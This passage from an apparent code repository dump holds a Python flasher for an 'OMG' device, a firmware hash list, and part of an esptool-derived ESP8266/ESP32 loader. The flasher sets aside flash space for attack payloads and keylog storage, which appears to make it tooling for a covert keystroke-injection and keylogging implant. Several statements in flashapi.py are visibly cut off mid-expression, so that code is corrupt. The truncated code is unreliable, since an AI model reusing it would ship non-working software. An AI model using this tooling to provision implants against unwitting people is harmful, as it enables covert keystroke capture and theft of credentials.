True\n if \"yes\" in CUST_INPUT:\n FLASH_CUSTOMIZE=1\n except:\n pass\n\n if FLASH_CUSTOMIZE:\n SANITIZED_SELECTION = False\n while not SANITIZED_SELECTION:\n try:\n CUST_INPUT = int(input(\"\\nPERCENTAGE OF FLASH ALLOCATED TO PAYLOAD: [Usually 40%] \").lower().replace(\"%\",\"\"))\n if CUST_INPUT>0 and CUST_INPUT<101:\n SANITIZED_SELECTION=True\n FLASH_PAYLOAD_PERCENT = CUST_INPUT\n elif '' in CUST_INPUT:\n SANITIZED_SELECTION=True\n print(\"Using default\")\n except:\n pass\n \n SANITIZED_SELECTION=False\n while not SANITIZED_SELECTION:\n try:\n CUST_INPUT = int(str(input(\"\\nENTER PAYLOAD SLOT SIZE [Divisible By 4 between 4K and Max 32K]: \")).lower().replace(\"%\",\"\").replace(\"k\",\"\"))\n if (CUST_INPUT%4)==0:\n FLASH_SIZE=(CUST_INPUT)/4\n SANITIZED_SELECTION=True\n if(CUST_INPUT>(360*4)):\n print(f\"{CUST_INPUT} is greater then the max size available.\")\n break\n else:\n print(f\"\\n{CUST_INPUT} is not divisible by 4, try again. Note: Default is 4k\")\n except:\n pass\n results.FLASH_SLOTS = FLASH_SIZE\n results.FLASH_PAYLOAD_SIZE = FLASH_PAYLOAD_PERCENT\n \n\ndef omg_flashfw(mac=None,flash_size=None):\n if not mac and not flash_size:\n mac, flash_size = get_dev_info(results.PORT_PATH)\n # attempt to continue\n try:\n FILE_PAGE = results.FILE_PAGE\n FILE_INIT = results.FILE_INIT\n FILE_ELF0 = results.FILE_ELF0\n FILE_ELF1 = results.FILE_ELF1\n FILE_OFAT_INIT = results.FILE_OFAT_INIT\n\n if flash_size < 0x200000:\n command = ['--baud', baudrate, '--port', results.PORT_PATH, 'write_flash', '-fs', '1MB', '-fm', 'dout', '0xfc000', FILE_INIT, '0x00000', FILE_ELF0, '0x10000', FILE_ELF1, '0x80000', FILE_PAGE, '0x7f000', FILE_OFAT_INIT]\n else:\n command = ['--baud', baudrate, '--port', results.PORT_PATH, 'write_flash', '-fs', '2MB', '-fm', 'dout', '0x1fc000', FILE_INIT, '0x00000', FILE_ELF0, '0x10000', FILE_ELF1, '0x80000', FILE_PAGE, '0x7f000', FILE_OFAT_INIT]\n print(\"\\n\\n\")\n omg_flash(command)\n\n except:\n print(\"\\n<<< SOMETHING FAILED WHILE FLASHING >>>\")\n complete(1)\n\ndef omg_runflash(pre_erase=False,skip_flash=False,skip_input=False,skip_reset=False):\n # get info\n mac, flash_size = get_dev_info(results.PORT_PATH)\n if (pre_erase and skip_flash) or FLASHER_VERSION>=2:\n if skip_flash:\n print(\"Attempting to factory reset (erase) device...\")\n else:\n print(\"Attempting to clear device before flashing...\")\n if flash_size < 0x200000:\n command = ['--baud', baudrate, '--port', results.PORT_PATH, 'erase_region', '0x70000', '0x8A000']\n else:\n command = ['--baud', baudrate, '--port', results.PORT_PATH, 'erase_region', '0x70000', '0x18A000']\n omg_flash(command)\n if not skip_flash:\n if not skip_input:\n omg_input()\n omg_patch(results.WIFI_SSID, results.WIFI_PASS, results.WIFI_MODE, results.FLASH_SLOTS, results.FLASH_PAYLOAD_SIZE)\n omg_flashfw(mac,flash_size)\n print(\"\\n[ WIFI SETTINGS ]\")\n print(\"\\n WIFI_SSID: {SSID}\\n WIFI_PASS: {PASS}\\n WIFI_MODE: {MODE}\\n WIFI_TYPE: {TYPE}\".format(SSID=results.WIFI_SSID, PASS=results.WIFI_PASS, MODE=results.WIFI_MODE, TYPE=results.WIFI_TYPE))\n print(\"\\n[ FIRMWARE USED ]\")\n print(\"\\n INIT: {INIT}\\n ELF0: {ELF0}\\n ELF1: {ELF1}\\n PAGE: {PAGE}\".format(INIT=results.FILE_INIT, ELF0=results.FILE_ELF0, ELF1=results.FILE_ELF1, PAGE=results.FILE_PAGE))\n if results.FLASH_SLOTS > 0:\n print(\"\\n[ CUSTOM PAYLOAD CONFIGURATION ]\")\n pp=results.FLASH_PAYLOAD_SIZE\n kp=abs(100-results.FLASH_PAYLOAD_SIZE)\n ns=int(results.FLASH_SLOTS*4)\n np=results.NUMBER_SLOTS\n print(f\"\\n PERCENT FLASH PAYLOAD SPACE: {pp}\\n PERCENT FLASH KEYLOG SPACE: {kp} (Where Applicable)\\n NUMBER OF PAYLOADS: {np}\\n SIZE OF PAYLOAD SLOTS: {ns}k\\n \")\n # attempt to always erase settings\n if not skip_reset:\n omg_reset_settings()\n \ndef get_script_path():\n return os.path.dirname(os.path.realpath(sys.argv[0]))\n\n\nif __name__ == '__main__':\n signal(SIGINT, handler)\n print(\"\\n\" + VERSION)\n print(\"\\n\" + UPDATES)\n print(\"\\n\" + MOTD + \"\\n\")\n\n results = omg_results()\n baudrate = '115200'\n\n thedirectory = get_script_path()\n os.chdir(thedirectory)\n\n omg_tos()\n\n omg_dependency_imports()\n\n results.OS_DETECTED = platform.system().upper()\n\n omg_locate()\n \n omg_reset_settings()\n\n omg_probe()\n \n if FLASHER_VERSION_DETECT:\n FLASHER_VERSION = ask_for_flasherhwver()\n MENU_MODE = ''\n SANITIZED_SELECTION = False\n\n while not SANITIZED_SELECTION:\n try:\n menu_options = [\n 'FLASH NEW FIRMWARE',\n 'FACTORY RESET',\n 'FIRMWARE UPGRADE - BATCH MODE',\n 'FACTORY RESET - BATCH MODE',\n 'BACKUP DEVICE',\n 'DOWNLOAD FIRMWARE UPDATES',\n 'EXIT FLASHER',\n ]\n print(\"Available Options \\n\")\n i = 1\n for menu_option in menu_options:\n print(i,\" \",menu_option,end=\"\")\n if i == 1:\n print(\" (DEFAULT)\")\n else:\n print(\"\")\n i+=1 \n menu_options = [''] \n MENU_MODE = str(input(\"Select Option: \")).replace(\" \",\"\")\n if MENU_MODE == '1' or MENU_MODE == '2' or MENU_MODE == '3' or MENU_MODE == '4' or MENU_MODE == '5' or MENU_MODE == '6' or MENU_MODE == '7' or MENU_MODE == '8':\n SANITIZED_SELECTION = True\n except:\n pass\n # handle python serial exceptions here \n try:\n if MENU_MODE == '1':\n print(\"\\nFIRMWARE UPGRADE\")\n omg_runflash()\n print(\"\\n<<< FIRMWARE PROCESS FINISHED, REMOVE DEVICE >>>\\n\")\n elif MENU_MODE == '2':\n print(\"\\nFACTORY RESET\")\n omg_runflash(True,True)\n elif MENU_MODE == '3':\n baudrate = '460800'\n \n print(\"\\nFIRMWARE UPGRADE - BATCH MODE\")\n omg_input()\n repeating = ''\n while repeating != 'e':\n omg_runflash(True,skip_input=True,skip_reset=True)\n repeating = input(\"\\n\\n<<< PRESS ENTER TO UPGRADE NEXT DEVICE, OR 'E' TO EXIT >>>\\n\")\n omg_reset_settings()\n complete(0)\n elif MENU_MODE == '4':\n baudrate = '460800'\n print(\"\\nFACTORY RESET - BATCH MODE\")\n omg_input()\n repeating = ''\n while repeating != 'e':\n omg_runflash(True,True,skip_input=True,skip_reset=True)\n repeating = input(\"\\n\\n<<< PRESS ENTER TO RESTORE NEXT DEVICE, OR 'E' TO EXIT >>>\\n\")\n elif MENU_MODE == '5':\n print(\"\\nBACKUP DEVICE\")\n mac, flash_size = get_dev_info(results.PORT_PATH)\n filename = \"backup-{MACLOW}-{TIMESTAMP}.img\".format(MACLOW=\"\".join([hex(m).lstrip(\"0x\") for m in mac]).lower(),TIMESTAMP=int(time()))\n if flash_size < 0x200000:\n command = ['--baud', baudrate, '--port', results.PORT_PATH, 'read_flash', '0x00000', '0x100000', filename]\n else:\n command = ['--baud', baudrate, '--port', results.PORT_PATH, 'read_flash', '0x00000', '0x200000', filename]\n omg_flash(command)\n print('Backup written to ', filename)\n elif MENU_MODE == '6':\n print(\"Attempting to update flash data...\")\n d = omg_fetch_latest_firmware(True,FIRMWARE_DIR)\n if d is not None and len(d) > 1:\n print(\"\\n<<< LOAD SUCCESS. RELOADING DATA >>>\\n\\n\")\n else:\n print(\"\\n<<< LOAD FAILED. PLEASE MANUALLY DOWNLOAD FIRMWARE AND PLACE IN '%s' >>>\\n\\n\"%FIRMWARE_DIR)\n complete(0)\n elif MENU_MODE == '7':\n print(\"<<< GOODBYE. FLASHER EXITING >>> \")\n sys.exit(0)\n else:\n print(\"<<< NO VALID INPUT WAS DETECTED. >>>\")\n except (flashapi.FatalError, serial.SerialException, serial.serialutil.SerialException) as e:\n print(\"<<< FATAL ERROR: %s. PLEASE DISCONNECT AND RECONNECT DEVICE AND START TASK AGAIN >>>\"%str(e))\n sys.exit(1) # special case\n complete(0)\n"
},
{
"path": "hashes.txt",
"content": "f3cc103136423a57975750907ebc1d367e2985ac6338976d4d5a439f50323f4a firmware/blank-settings.bin\nf47a8ec3e9aff2318d896942282ad4fe37d6391c82914f54a5da8a37de1300c6 firmware/blank.bin\nb2218087cf938ce665b26ac049f7d146677c70fe2909205a4d0e6a58aef0e4b3 firmware/esp_init_data_default_v08.bin\n3a6c59c9d9b6ee2b2e64531f75b7ea2367b7568c2a000ac0121f7d64bd0b31c4 firmware/image.elf-0x00000.bin\naa3bf523b84f5126e67ef5d619a0b86ce68f6fb0225655cafde1d9fcfbc38c57 firmware/image.elf-0x10000.bin\ndd76918d1d69e029947ec9b45151548a4bf3fe5cb5f1f1e40042927f4aa90fb3 firmware/page.mpfs\n"
},
{
"path": "scripts/flashapi.py",
"content": "#!/usr/bin/env python\n#\n# Copyright (C) Fredrik Ahlberg, Angus Gratton, Espressif Systems (Shanghai) PTE LTD,\n# Mischief Gadgets, LLC, other contributors as noted.\n#\n# This program is free software; you can redistribute it and/or modify it under\n# the terms of the GNU General Public License as published by the Free Software\n# Foundation; either version 2 of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful, but WITHOUT\n# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License along with\n# this program; if not, write to the Free Software Foundation, Inc., 51 Franklin\n# Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nfrom __future__ import division, print_function\n\nimport argparse\nimport base64\nimport binascii\nimport copy\nimport hashlib\nimport inspect\nimport io\nimport os\nimport shlex\nimport string\nimport struct\nimport sys\nimport time\nimport zlib\n\ntry:\n import serial\nexcept ImportError:\n print(\"Pyserial is not installed for %s. Check the README for installation instructions.\" % (sys.executable))\n raise\n\ntry:\n if \"serialization\" in serial.__doc__ and \"deserialization\" in serial.__doc__:\n raise ImportError(\"\"\"\nflashapi.py depends on pyserial, but there is a conflict with a currently installed package named 'serial'.\n\nYou may be able to work around this by 'pip uninstall serial; pip install pyserial' \\\nbut this may break other installed Python software that depends on 'serial'.\n\nThere is no good fix for this right now, apart from configuring virtualenvs.\"\"\")\nexcept TypeError:\n pass\n\ntry:\n import serial.tools.list_ports as list_ports\nexcept ImportError:\n print(\"The installed version (%s) of pyserial appears to be too old for flashapi.py (Python interpreter %s). \"\n \"Check the README for installation instructions.\" % (sys.VERSION, sys.executable))\n raise\n\n__version__ = \"2.7-dev\"\n\nMAX_UINT32 = 0xffffffff\nMAX_UINT24 = 0xffffff\n\nDEFAULT_TIMEOUT = 3\nSTART_FLASH_TIMEOUT = 20\nCHIP_ERASE_TIMEOUT = 120\nMAX_TIMEOUT = CHIP_ERASE_TIMEOUT * 2\nSYNC_TIMEOUT = 0.1\nMD5_TIMEOUT_PER_MB = 8\nERASE_REGION_TIMEOUT_PER_MB = 30\nMEM_END_ROM_TIMEOUT = 0.05\nDEFAULT_SERIAL_WRITE_TIMEOUT = 10\n\n\ndef timeout_per_mb(seconds_per_mb, size_bytes):\n result = seconds_per_mb * (size_bytes / 1e6)\n if result < DEFAULT_TIMEOUT:\n return DEFAULT_TIMEOUT\n return result\n\n\nDETECTED_FLASH_SIZES = {0x12: '256KB', 0x13: '512KB', 0x14: '1MB',\n 0x15: '2MB', 0x16: '4MB', 0x17: '8MB', 0x18: '16MB'}\n\n\ndef check_supported_function(func, check_func):\n def inner(*args, **kwargs):\n obj = args[0]\n if check_func(obj):\n return func(*args, **kwargs)\n else:\n raise NotImplementedInROMError(obj, func)\n\n return inner\n\n\ndef stub_function_only(func):\n return check_supported_function(func, lambda o: o.IS_STUB)\n\n\ndef stub_and_esp32_function_only(func):\n return check_supported_function(func, lambda o: o.IS_STUB or o.CHIP_NAME == \"ESP32\")\n\n\nPYTHON2 = sys.version_info[0] < 3\n\nif PYTHON2:\n def byte(bitstr, index):\n return ord(bitstr[index])\nelse:\n def byte(bitstr, index):\n return bitstr[index]\n\ntry:\n basestring\nexcept NameError:\n basestring = str\n\n\ndef _mask_to_shift(mask):\n shift = 0\n while mask & 0x1 == 0:\n shift += 1\n mask >>= 1\n return shift\n\n\ndef esp8266_function_only(func):\n return check_supported_function(func, lambda o: o.CHIP_NAME == \"ESP8266\")\n\n\nclass ESPLoader(object):\n CHIP_NAME = \"Espressif device\"\n IS_STUB = False\n\n DEFAULT_PORT = \"/dev/ttyUSB0\"\n\n ESP_FLASH_BEGIN = 0x02\n ESP_FLASH_DATA = 0x03\n ESP_FLASH_END = 0x04\n ESP_MEM_BEGIN = 0x05\n ESP_MEM_END = 0x06\n ESP_MEM_DATA = 0x07\n ESP_SYNC = 0x08\n ESP_WRITE_REG = 0x09\n ESP_READ_REG = 0x0a\n\n ESP_SPI_SET_PARAMS = 0x0B\n ESP_SPI_ATTACH = 0x0D\n ESP_CHANGE_BAUDRATE = 0x0F\n ESP_FLASH_DEFL_BEGIN = 0x10\n ESP_FLASH_DEFL_DATA = 0x11\n ESP_FLASH_DEFL_END = 0x12\n ESP_SPI_FLASH_MD5 = 0x13\n\n ESP_ERASE_FLASH = 0xD0\n ESP_ERASE_REGION = 0xD1\n ESP_READ_FLASH = 0xD2\n ESP_RUN_USER_CODE = 0xD3\n\n ESP_FLASH_ENCRYPT_DATA = 0xD4\n\n ESP_RAM_BLOCK = 0x1800\n\n FLASH_WRITE_SIZE = 0x400\n\n ESP_ROM_BAUD = 115200\n\n ESP_IMAGE_MAGIC = 0xe9\n\n ESP_CHECKSUM_MAGIC = 0xef\n\n FLASH_SECTOR_SIZE = 0x1000\n\n UART_DATA_REG_ADDR = 0x60000078\n\n UART_CLKDIV_MASK = 0xFFFFF\n\n IROM_MAP_START = 0x40200000\n IROM_MAP_END = 0x40300000\n\n STATUS_BYTES_LENGTH = 2\n\n def __init__(self, port=DEFAULT_PORT, baud=ESP_ROM_BAUD, trace_enabled=False):\n if isinstance(port, basestring):\n self._port = serial.serial_for_url(port)\n else:\n self._port = port\n self._slip_reader = slip_reader(self._port, self.trace)\n\n self._set_port_baudrate(baud)\n self._trace_enabled = trace_enabled\n\n try:\n self._port.write_timeout = DEFAULT_SERIAL_WRITE_TIMEOUT\n except NotImplementedError:\n\n self._port.write_timeout = None\n\n def _set_port_baudrate(self, baud):\n try:\n self._port.baudrate = baud\n except IOError:\n raise FatalError(\"Failed to set baud rate %d. The driver may not support this rate.\" % baud)\n\n @staticmethod\n def detect_chip(port=DEFAULT_PORT, baud=ESP_ROM_BAUD, connect_mode='default_reset', trace_enabled=False):\n detect_port = ESPLoader(port, baud, trace_enabled=trace_enabled)\n detect_port.connect(connect_mode)\n try:\n\n sys.stdout.flush()\n date_reg = detect_port.read_reg(ESPLoader.UART_DATA_REG_ADDR)\n\n for cls in [ESP8266ROM, ESP32ROM]:\n if date_reg == cls.DATE_REG_VALUE:\n inst = cls(detect_port._port, baud, trace_enabled=trace_enabled)\n\n return inst\n finally:\n print('...Connected.')\n raise FatalError(\"Unexpected UART datecode value 0x%08x. Failed to autodetect chip type.\" % date_reg)\n\n def read(self):\n return next(self._slip_reader)\n\n def write(self, packet):\n buf = b'\\xc0' \\\n + (packet.replace(b'\\xdb', b'\\xdb\\xdd').replace(b'\\xc0', b'\\xdb\\xdc')) \\\n + b'\\xc0'\n self.trace(\"Write %d bytes: %s\", len(buf), HexFormatter(buf))\n self._port.write(buf)\n\n def trace(self, message, *format_args):\n if self._trace_enabled:\n now = time.time()\n try:\n\n delta = now - self._last_trace\n except AttributeError:\n delta = 0.0\n self._last_trace = now\n prefix = \"TRACE +%.3f \" % delta\n print(prefix + (message % format_args))\n\n @staticmethod\n def checksum(data, state=ESP_CHECKSUM_MAGIC):\n for b in data:\n if type(b) is int:\n state ^= b\n else:\n state ^= ord(b)\n\n return state\n\n def command(self, op=None, data=b\"\", chk=0, wait_response=True, timeout=DEFAULT_TIMEOUT):\n saved_timeout = self._port.timeout\n new_timeout = min(timeout, MAX_TIMEOUT)\n if new_timeout != saved_timeout:\n self._port.timeout = new_timeout\n\n try:\n if op is not None:\n self.trace(\"command op=0x%02x data len=%s wait_response=%d timeout=%.3f data=%s\",\n op, len(data), 1 if wait_response else 0, timeout, HexFormatter(data))\n pkt = struct.pack(b' self.STATUS_BYTES_LENGTH:\n return data[:-self.STATUS_BYTES_LENGTH]\n else:\n return val\n\n def flush_input(self):\n self._port.flushInput()\n self._slip_reader = slip_reader(self._port, self.trace)\n\n def sync(self):\n self.command(self.ESP_SYNC, b'\\x07\\x07\\x12\\x20' + 32 * b'\\x55',\n timeout=SYNC_TIMEOUT)\n for i in range(7):\n self.command()\n\n def _setDTR(self, state):\n self._port.setDTR(state)\n\n def _setRTS(self, state):\n self._port.setRTS(state)\n\n self._port.setDTR(self._port.dtr)\n\n def _connect_attempt(self, mode='default_reset', esp32r0_delay=False):\n\n #\n\n #\n\n last_error = None\n\n if mode == \"no_reset_no_sync\":\n return last_error\n\n #\n\n if mode != 'no_reset':\n self._setDTR(False)\n self._setRTS(True)\n time.sleep(0.1)\n if esp32r0_delay:\n time.sleep(1.2)\n self._setDTR(True)\n self._setRTS(False)\n if esp32r0_delay:\n time.sleep(0.4)\n time.sleep(0.05)\n self._setDTR(False)\n\n for _ in range(5):\n try:\n self.flush_input()\n self._port.flushOutput()\n self.sync()\n return None\n except FatalError as e:\n if esp32r0_delay:\n print('_', end='')\n else:\n print('.', end='')\n sys.stdout.flush()\n time.sleep(0.05)\n last_error = e\n return last_error\n\n def connect(self, mode='default_reset'):\n\n print('Connecting...', end='')\n sys.stdout.flush()\n last_error = None\n\n try:\n for _ in range(7):\n last_error = self._connect_attempt(mode=mode, esp32r0_delay=False)\n if last_error is None:\n return\n last_error = self._connect_attempt(mode=mode, esp32r0_delay=True)\n if last_error is None:\n return\n finally:\n print('')\n raise FatalError(\n 'ERROR: A programmer is detected, but no cable seems plugged in. Please try unplugging and replugging the cable and/or programmer. Please also make sure only one programmer is connected. (%s)' % (last_error))\n\n def read_reg(self, addr):\n\n val, data = self.command(self.ESP_READ_REG, struct.pack(' start:\n raise FatalError((\"Software loader is resident at 0x%08x-0x%08x. \" +\n \"Can't load binary at overlapping address range 0x%08x-0x%08x. \" +\n \"Either change binary loading address, or use the --no-stub \" +\n \"option to disable the software loader.\") % (start, end, load_start, load_end))\n\n return self.check_command(\"enter RAM download mode\", self.ESP_MEM_BEGIN,\n struct.pack(' length:\n raise FatalError('Read more than expected')\n\n digest_frame = self.read()\n if len(digest_frame) != 16:\n raise FatalError('Expected digest, got: %s' % hexify(digest_frame))\n expected_digest = hexify(digest_frame).upper()\n digest = hashlib.md5(data).hexdigest().upper()\n if digest != expected_digest:\n raise FatalError('Digest mismatch: expected %s, got %s' % (expected_digest, digest))\n return data\n\n def flash_spi_attach(self, hspi_arg):\n\n arg = struct.pack(' 0:\n self.write_reg(SPI_MOSI_DLEN_REG, mosi_bits - 1)\n if miso_bits > 0:\n self.write_reg(SPI_MISO_DLEN_REG, miso_bits - 1)\n else:\n\n def set_data_lengths(mosi_bits, miso_bits):\n SPI_DATA_LEN_REG = SPI_USR1_REG\n SPI_MOSI_BITLEN_S = 17\n SPI_MISO_BITLEN_S = 8\n mosi_mask = 0 if (mosi_bits == 0) else (mosi_bits - 1)\n miso_mask = 0 if (miso_bits == 0) else (miso_bits - 1)\n self.write_reg(SPI_DATA_LEN_REG,\n (miso_mask << SPI_MISO_BITLEN_S) | (\n mosi_mask << SPI_MOSI_BITLEN_S))\n\n SPI_CMD_USR = (1 << 18)\n\n SPI_USR2_DLEN_SHIFT = 28\n\n if read_bits > 32:\n raise FatalError(\"Reading more than 32 bits back from a SPI flash operation is unsupported\")\n if len(data) > 64:\n raise FatalError(\"Writing more than 64 bytes of data with one SPI command is unsupported\")\n\n data_bits = len(data) * 8\n old_spi_usr = self.read_reg(SPI_USR_REG)\n old_spi_usr2 = self.read_reg(SPI_USR2_REG)\n flags = SPI_USR_COMMAND\n if read_bits > 0:\n flags |= SPI_USR_MISO\n if data_bits > 0:\n flags |= SPI_USR_MOSI\n set_data_lengths(data_bits, read_bits)\n self.write_reg(SPI_USR_REG, flags)\n self.write_reg(SPI_USR2_REG,\n (7 << SPI_USR2_DLEN_SHIFT) | spiflash_command)\n if data_bits == 0:\n self.write_reg(SPI_W0_REG, 0)\n else:\n data = pad_to(data, 4, b'\\00')\n words = struct.unpack(\"I\" * (len(data) // 4), data)\n next_reg = SPI_W0_REG\n for word in words:\n self.write_reg(next_reg, word)\n next_reg += 4\n self.write_reg(SPI_CMD_REG, SPI_CMD_USR)\n\n def wait_done():\n for _ in range(10):\n if (self.read_reg(SPI_CMD_REG) & SPI_CMD_USR) == 0:\n return\n raise FatalError(\"SPI command did not complete in time\")\n\n wait_done()\n\n status = self.read_reg(SPI_W0_REG)\n\n self.write_reg(SPI_USR_REG, old_spi_usr)\n self.write_reg(SPI_USR2_REG, old_spi_usr2)\n return status\n\n def read_status(self, num_bytes=2):\n SPIFLASH_RDSR = 0x05\n SPIFLASH_RDSR2 = 0x35\n SPIFLASH_RDSR3 = 0x15\n\n status = 0\n shift = 0\n for cmd in [SPIFLASH_RDSR, SPIFLASH_RDSR2, SPIFLASH_RDSR3][0:num_bytes]:\n status += self.run_spiflash_command(cmd, read_bits=8) << shift\n shift += 8\n return status\n\n def write_status(self, new_status, num_bytes=2, set_non_volatile=False):\n SPIFLASH_WRSR = 0x01\n SPIFLASH_WRSR2 = 0x31\n SPIFLASH_WRSR3 = 0x11\n SPIFLASH_WEVSR = 0x50\n SPIFLASH_WREN = 0x06\n SPIFLASH_WRDI = 0x04\n\n enable_cmd = SPIFLASH_WREN if set_non_volatile else SPIFLASH_WEVSR\n\n if num_bytes == 2:\n self.run_spiflash_command(enable_cmd)\n self.run_spiflash_command(SPIFLASH_WRSR, struct.pack(\">= 8\n\n self.run_spiflash_command(SPIFLASH_WRDI)\n\n def get_crystal_freq(self):\n\n #\n\n uart_div = self.read_reg(self.UART_CLKDIV_REG) & self.UART_CLKDIV_MASK\n est_xtal = (self._port.baudrate * uart_div) / 1e6 / self.XTAL_CLK_DIVIDER\n norm_xtal = 40 if est_xtal > 33 else 26\n if abs(norm_xtal - est_xtal) > 1:\n print(\"WARNING: Detected crystal freq %.2fMHz is quite different to normalized freq %dMHz. Unsupported crystal in use?\" % (est_xtal, norm_xtal))\n return norm_xtal\n\n def hard_reset(self):\n self._setRTS(True)\n time.sleep(0.1)\n self._setRTS(False)\n\n def soft_reset(self, stay_in_bootloader):\n if not self.IS_STUB:\n if stay_in_bootloader:\n return\n else:\n\n self.flash_begin(0, 0)\n self.flash_finish(False)\n else:\n if stay_in_bootloader:\n\n self.flash_begin(0, 0)\n self.flash_finish(True)\n elif self.CHIP_NAME != \"ESP8266\":\n raise FatalError(\"Soft resetting is currently only supported on ESP8266\")\n else:\n\n self.command(self.ESP_RUN_USER_CODE, wait_response=False)\n\n\nclass ESP8266ROM(ESPLoader):\n CHIP_NAME = \"ESP8266\"\n IS_STUB = False\n\n DATE_REG_VALUE = 0x00062000\n\n ESP_OTP_MAC0 = 0x3ff00050\n ESP_OTP_MAC1 = 0x3ff00054\n ESP_OTP_MAC3 = 0x3ff0005c\n\n SPI_REG_BASE = 0x60000200\n SPI_W0_OFFS = 0x40\n SPI_HAS_MOSI_DLEN_REG = False\n\n UART_CLKDIV_REG = 0x60000014\n\n XTAL_CLK_DIVIDER = 2\n\n FLASH_SIZES = {\n '512KB': 0x00,\n '256KB': 0x10,\n '1MB': 0x20,\n '2MB': 0x30,\n '4MB': 0x40,\n '2MB-c1': 0x50,\n '4MB-c1': 0x60,\n '8MB': 0x80,\n '16MB': 0x90,\n }\n\n BOOTLOADER_FLASH_OFFSET = 0\n\n def get_efuses(self):\n\n return (self.read_reg(0x3ff0005c) << 96 |\n self.read_reg(0x3ff00058) << 64 |\n self.read_reg(0x3ff00054) << 32 |\n self.read_reg(0x3ff00050))\n\n def get_chip_description(self):\n efuses = self.get_efuses()\n is_8285 = (efuses & ((1 << 4) | 1 << 80)) != 0\n return \"ESP8285\" if is_8285 else \"ESP8266EX\"\n\n def get_chip_features(self):\n features = [\"WiFi\"]\n if self.get_chip_description() == \"ESP8285\":\n features += [\"Embedded Flash\"]\n return features\n\n def flash_spi_attach(self, hspi_arg):\n if self.IS_STUB:\n super(ESP8266ROM, self).flash_spi_attach(hspi_arg)\n else:\n\n self.flash_begin(0, 0)\n\n def flash_set_parameters(self, size):\n\n if self.IS_STUB:\n super(ESP8266ROM, self).flash_set_parameters(size)\n\n def chip_id(self):\n\n id0 = self.read_reg(self.ESP_OTP_MAC0)\n id1 = self.read_reg(self.ESP_OTP_MAC1)\n return (id0 >> 24) | ((id1 & MAX_UINT24) << 8)\n\n def read_mac(self):\n\n mac0 = self.read_reg(self.ESP_OTP_MAC0)\n mac1 = self.read_reg(self.ESP_OTP_MAC1)\n mac3 = self.read_reg(self.ESP_OTP_MAC3)\n if (mac3 != 0):\n oui = ((mac3 >> 16) & 0xff, (mac3 >> 8) & 0xff, mac3 & 0xff)\n elif ((mac1 >> 16) & 0xff) == 0:\n oui = (0x18, 0xfe, 0x34)\n elif ((mac1 >> 16) & 0xff) == 1:\n oui = (0xac, 0xd0, 0x74)\n else:\n raise FatalError(\"Unknown OUI\")\n return oui + ((mac1 >> 8) & 0xff, mac1 & 0xff, (mac0 >> 24) & 0xff)\n\n def get_erase_size(self, offset, size):\n sectors_per_block = 16\n sector_size = self.FLASH_SECTOR_SIZE\n num_sectors = (size + sector_size - 1) // sector_size\n start_sector = offset // sector_size\n\n head_sectors = sectors_per_block - (start_sector % sectors_per_block)\n if num_sectors < head_sectors:\n head_sectors = num_sectors\n\n if num_sectors < 2 * head_sectors:\n return (num_sectors + 1) // 2 * sector_size\n else:\n return (num_sectors - head_sectors) * sector_size\n\n def override_vddsdio(self, new_voltage):\n raise NotImplementedInROMError(\"Overriding VDDSDIO setting only applies to ESP32\")\n\n\nclass ESP8266StubLoader(ESP8266ROM):\n FLASH_WRITE_SIZE = 0x4000\n IS_STUB = True\n\n def __init__(self, rom_loader):\n self._port = rom_loader._port\n self._trace_enabled = rom_loader._trace_enabled\n self.flush_input()\n\n def get_erase_size(self, offset, size):\n return size\n\n\nESP8266ROM.STUB_CLASS = ESP8266StubLoader\n\n\nclass ESP32ROM(ESPLoader):\n CHIP_NAME = \"ESP32\"\n IS_STUB = False\n\n DATE_REG_VALUE = 0x15122500\n\n IROM_MAP_START = 0x400d0000\n IROM_MAP_END = 0x40400000\n DROM_MAP_START = 0x3F400000\n DROM_MAP_END = 0x3F800000\n\n STATUS_BYTES_LENGTH = 4\n\n SPI_REG_BASE = 0x60002000\n EFUSE_REG_BASE = 0x6001a000\n\n SPI_W0_OFFS = 0x80\n SPI_HAS_MOSI_DLEN_REG = True\n\n UART_CLKDIV_REG = 0x3ff40014\n\n XTAL_CLK_DIVIDER = 1\n\n FLASH_SIZES = {\n '1MB': 0x00,\n '2MB': 0x10,\n '4MB': 0x20,\n '8MB': 0x30,\n '16MB': 0x40\n }\n\n BOOTLOADER_FLASH_OFFSET = 0x1000\n\n OVERRIDE_VDDSDIO_CHOICES = [\"1.8V\", \"1.9V\", \"OFF\"]\n\n def is_flash_encryption_key_valid(self):\n word0 = self.read_efuse(0)\n rd_disable = (word0 >> 16) & 0x1\n\n if rd_disable:\n return True\n else:\n key_word = [0] * 7\n for i in range(len(key_word)):\n key_word[i] = self.read_efuse(14 + i)\n\n if key_word[i] != 0:\n return True\n return False\n\n def get_flash_crypt_config(self):\n word0 = self.read_efuse(0)\n rd_disable = (word0 >> 19) & 0x1\n\n if rd_disable == 0:\n word5 = self.read_efuse(5)\n word5 = (word5 >> 28) & 0xF\n return word5\n else:\n\n return 0xF\n\n def get_chip_description(self):\n word3 = self.read_efuse(3)\n chip_ver_rev1 = (word3 >> 15) & 0x1\n pkg_version = (word3 >> 9) & 0x07\n\n chip_name = {\n 0: \"ESP32D0WDQ6\",\n 1: \"ESP32D0WDQ5\",\n 2: \"ESP32D2WDQ5\",\n 5: \"ESP32-PICO-D4\",\n }.get(pkg_version, \"unknown ESP32\")\n\n return \"%s (revision %d)\" % (chip_name, chip_ver_rev1)\n\n def get_chip_features(self):\n features = [\"WiFi\"]\n word3 = self.read_efuse(3)\n\n chip_ver_dis_bt = word3 & (1 << 1)\n if chip_ver_dis_bt == 0:\n features += [\"BT\"]\n\n chip_ver_dis_app_cpu = word3 & (1 << 0)\n if chip_ver_dis_app_cpu:\n features += [\"Single Core\"]\n else:\n features += [\"Dual Core\"]\n\n chip_cpu_freq_rated = word3 & (1 << 13)\n if chip_cpu_freq_rated:\n chip_cpu_freq_low = word3 & (1 << 12)\n if chip_cpu_freq_low:\n features += [\"160MHz\"]\n else:\n features += [\"240MHz\"]\n\n pkg_version = (word3 >> 9) & 0x07\n if pkg_version in [2, 4, 5]:\n features += [\"Embedded Flash\"]\n\n word4 = self.read_efuse(4)\n adc_vref = (word4 >> 8) & 0x1F\n if adc_vref:\n features += [\"VRef calibration in efuse\"]\n\n blk3_part_res = word3 >> 14 & 0x1\n if blk3_part_res:\n features += [\"BLK3 partially reserved\"]\n\n word6 = self.read_efuse(6)\n coding_scheme = word6 & 